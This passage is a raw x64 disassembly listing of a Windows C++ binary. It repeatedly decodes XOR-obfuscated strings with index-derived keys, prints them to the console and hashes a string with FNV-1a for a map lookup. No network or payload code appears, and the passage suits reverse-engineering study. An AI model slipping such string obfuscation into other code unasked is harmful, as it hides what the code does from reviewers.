movd dword [rsp + 0x184], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x180]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x1402359c0
lea rdx, [rsp + 0x180]
mov rcx, r11
call fcn.14025af20
lea rdx, [rsp + 0xa78]
cmp qword [rsp + 0xa90], 0x10
cmovae rdx, qword [rsp + 0xa78]
mov r8, qword [rsp + 0xa88]
mov rcx, rax
call fcn.140261540
movzx ecx, word [0x1402a9568]
mov word [rsp + 0x78], cx
cmp byte [0x1402a9569], 0
je 0x140235a70
mov byte [rsp + 0x78], 0xa
xor byte [rsp + 0x79], 0x43
lea rdx, [rsp + 0x78]
mov rcx, rax
call fcn.14025af20
mov r11, rax
movsd xmm0, qword [0x1402aa090]
movsd qword [rsp + 0x190], xmm0
mov ecx, dword [0x1402aa098]
mov dword [rsp + 0x198], ecx
movzx ecx, byte [0x1402aa09c]
mov byte [rsp + 0x19c], cl
mov r9d, r12d
cmp r15d, 2
jl 0x140235ca4
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, edi
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402aa090]
pxor xmm3, xmm0
movd dword [rsp + 0x190], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x194]
pxor xmm3, xmm1
movd dword [rsp + 0x194], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x190]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x140235cc0
lea rdx, [rsp + 0x190]
mov rcx, r11
call fcn.14025af20
lea rdx, [rsp + 0xa58]
cmp qword [rsp + 0xa70], 0x10
cmovae rdx, qword [rsp + 0xa58]
mov r8, qword [rsp + 0xa68]
mov rcx, rax
call fcn.140261540
movzx ecx, word [0x1402a9568]
mov word [rsp + 0x7c], cx
cmp byte [0x1402a9569], 0
je 0x140235d70
mov byte [rsp + 0x7c], 0xa
xor byte [rsp + 0x7d], 0x43
lea rdx, [rsp + 0x7c]
mov rcx, rax
call fcn.14025af20
mov r11, rax
movsd xmm0, qword [0x1402ab8f8]
movsd qword [rsp + 0x1d0], xmm0
mov ecx, dword [0x1402ab900]
mov dword [rsp + 0x1d8], ecx
movzx ecx, word [0x1402ab904]
mov word [rsp + 0x1dc], cx
cmp byte [0x1402ab905], 0
je 0x140236017
mov r9d, r12d
cmp r15d, 2
jl 0x140235fb2
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, edi
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402ab8f8]
pxor xmm3, xmm0
movd dword [rsp + 0x1d0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1d4]
pxor xmm3, xmm1
movd dword [rsp + 0x1d4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1d0]
add r10, rax
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140235fc0
lea rdx, [rsp + 0x1d0]
mov rcx, r11
call fcn.14025af20
lea rdx, [rsp + 0xb20]
cmp qword [rsp + 0xb38], 0x10
cmovae rdx, qword [rsp + 0xb20]
mov r8, qword [rsp + 0xb30]
mov rcx, rax
call fcn.140261540
movzx ecx, word [0x1402a9568]
mov word [rsp + 0x80], cx
cmp byte [0x1402a9569], 0
je 0x140236079
mov byte [rsp + 0x80], 0xa
xor byte [rsp + 0x81], 0x43
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.14025af20
mov r11, rax
movsd xmm0, qword [0x1402abf78]
movsd qword [rsp + 0x1b0], xmm0
mov ecx, dword [0x1402abf80]
mov dword [rsp + 0x1b8], ecx
movzx ecx, word [0x1402abf84]
mov word [rsp + 0x1bc], cx
movzx ecx, byte [0x1402abf86]
mov byte [rsp + 0x1be], cl
mov r9d, r12d
cmp r15d, 2
jl 0x1402362bf
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, edi
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402abf78]
pxor xmm3, xmm0
movd dword [rsp + 0x1b0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1b4]
pxor xmm3, xmm1
movd dword [rsp + 0x1b4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xf
jl 0x1402362d0
lea rdx, [rsp + 0x1b0]
mov rcx, r11
call fcn.14025af20
lea rdx, [rsp + 0xb40]
cmp qword [rsp + 0xb58], 0x10
cmovae rdx, qword [rsp + 0xb40]
mov r8, qword [rsp + 0xb50]
mov rcx, rax
call fcn.140261540
movzx ecx, word [0x1402a9568]
mov word [rsp + 0x84], cx
cmp byte [0x1402a9569], 0
je 0x140236389
mov byte [rsp + 0x84], 0xa
xor byte [rsp + 0x85], 0x43
lea rdx, [rsp + 0x84]
mov rcx, rax
call fcn.14025af20
mov r11, rax
movups xmm0, xmmword [0x1402a9b08]
movups xmmword [rsp + 0x288], xmm0
movzx ecx, byte [0x1402a9b18]
mov byte [rsp + 0x298], cl
mov r9d, r12d
cmp r15d, 2
jl 0x1402365e7
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, edi
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x28c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140236420
cmp r9d, 0x11
jge 0x140236657
movsxd rax, r9d
lea r10, [rsp + 0x288]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x140236600
lea rdx, [rsp + 0x288]
mov rcx, r11
call fcn.14025af20
lea rdx, [rsp + 0xb60]
cmp qword [rsp + 0xb78], 0x10
cmovae rdx, qword [rsp + 0xb60]
mov r8, qword [rsp + 0xb70]
mov rcx, rax
call fcn.140261540
movzx ecx, word [0x1402a9568]
mov word [rsp + 0x88], cx
cmp byte [0x1402a9569], 0
je 0x1402366b9
mov byte [rsp + 0x88], 0xa
xor byte [rsp + 0x89], 0x43
lea rdx, [rsp + 0x88]
mov rcx, rax
call fcn.14025af20
mov r11, rax
movups xmm0, xmmword [str.lnhjdf_bxztvprLNHJDF_BXwvqrG_4_9_c_U]
movups xmmword [rsp + 0x348], xmm0
movsd xmm0, qword [0x1402aba60]
movsd qword [rsp + 0x358], xmm0
mov ecx, dword [0x1402aba68]
mov dword [rsp + 0x360], ecx
cmp byte [0x1402aba6b], 0
je 0x1402369a7
mov r9d, r12d
cmp r15d, 2
jl 0x140236937
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, edi
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x34c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm7
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140236770
cmp r9d, 0x1c
jge 0x1402369a7
movsxd rax, r9d
lea r10, [rsp + 0x348]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1c
jl 0x140236950
lea rdx, [rsp + 0x348]
mov rcx, r11
call fcn.14025af20
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0xa38]
cmp qword [rsp + 0xa50], 0x10
cmovae rdx, qword [rsp + 0xa38]
movabs r9, 0xcbf29ce484222325
mov rcx, r12
mov r8, qword [rsp + 0xa48]
test r8, r8
je 0x140236a1d
nop dword [rax + rax]
movzx eax, byte [rcx + rdx]
xor r9, rax
movabs rax, 0x100000001b3
imul r9, rax
inc rcx
cmp rcx, r8
jb 0x140236a00
lea r8, [rsp + 0xa38]
lea rdx, [rsp + 0x5e0]
call fcn.140261b30
mov rcx, qword [rax + 8]
mov rax, qword [0x1402c06f8]
test rcx, rcx
cmovne rax, rcx
cmp rax, qword [0x1402c06f8]
je 0x140236d82
movsd xmm0, qword [0x1402aaf38]
movsd qword [rsp + 0x1e0], xmm0
mov eax, dword [0x1402aaf40]
mov dword [rsp + 0x1e8], eax
movzx eax, word [0x1402aaf44]
mov word [rsp + 0x1ec], ax
cmp byte [0x1402aaf45], 0
je 0x140236cf7
mov r9d, r12d
cmp r15d, 2
jl 0x140236c83
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, edi
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402aaf38]
pxor xmm3, xmm0
movd dword [rsp + 0x1e0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1e4]
pxor xmm3, xmm1
movd dword [rsp + 0x1e4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1e0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x69
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140236ca0
lea rdx, [rsp + 0x1e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [0x14025b0f0]
mov rcx, rax
